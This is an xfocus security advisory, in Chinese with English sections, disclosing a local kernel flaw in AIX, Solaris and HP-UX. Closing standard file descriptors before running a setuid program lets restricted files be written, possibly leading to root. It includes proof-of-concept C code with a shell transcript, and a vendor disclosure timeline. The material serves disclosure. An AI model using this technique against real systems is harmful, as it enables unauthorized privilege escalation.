xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
Xcon English Version

[xfocus-SD-070118]多个操作系统内核不安全方式处理标准IO漏洞


创建时间:2007-01-19
文章属性:原创
文章提交:root (webmaster_at_xfocus.org)

XFOCUS team (http://www.xfocus.org/) 发现多个操作系统内核以不安全方式处理标准IO文件描述符的漏洞。

===================
Affected OS Version

AIX 5.3
Solaris 9
HPUX B11.11
(maybe other version,we did not tested)

===========
Description

被影响的操作系统允许本地用户先通过关闭fd 0,1,2然后调用setuid进程来非法读写限制的文件,进一步有可能导致获得root权限。

The affected OSes allows local users to write to or read from restricted
files by closing the file descriptors 0 (standard input), 1 (standard
output), or 2 (standard error), which may then be reused by a called
setuid process that intended to perform I/O on normal files. the attack
which exploit this vulnerability possibly get root right.

====
POC

-bash-3.00$ oslevel -r
5300-03
-bash-3.00$ ls -l bb
-rw-r--r-- 1 root system 0 12月05 20时34 bb
-bash-3.00$ ls -l k
-rwxr-xr-x 1 root system 58242 12月03 23时13 k
-bash-3.00$ ls -l tt
-rwsr-xr-x 1 root system 59096 12月03 23时14 tt (this is a
suid program,called by k)
-bash-3.00$ cat k.c
int main()
{
  close(2); //close 2 before call tt
  execl("./tt","./tt",0);
}
-bash-3.00$ cat tt.c
int main()
{

  printf("euid=%i\n",geteuid());
  int f=open("/tmp/bb",1);
  printf("f=%i\n",f);
  write(2,"hello\n",6);
}

-bash-3.00$ id
uid=202(cloud) gid=1(staff)
-bash-3.00$ ./k
euid=0
f=2 #err info wrote into bb file
-bash-3.00$ ls -l bb
-rw-r--r-- 1 root system 6 12月05 20时35 bb

=========
Time Line
2005-12-xx Discover this vulnerability
2006-12-12 Initial vendor notifiation
2006-12-12 HP responses ,assgin to SSRT061287;
             Sun responses but mistake this vulnerablitily as
                application bug and hope us figoure out real attack
                vector;
             Aix no responses;
2007-01-18 public disclosure

--EOF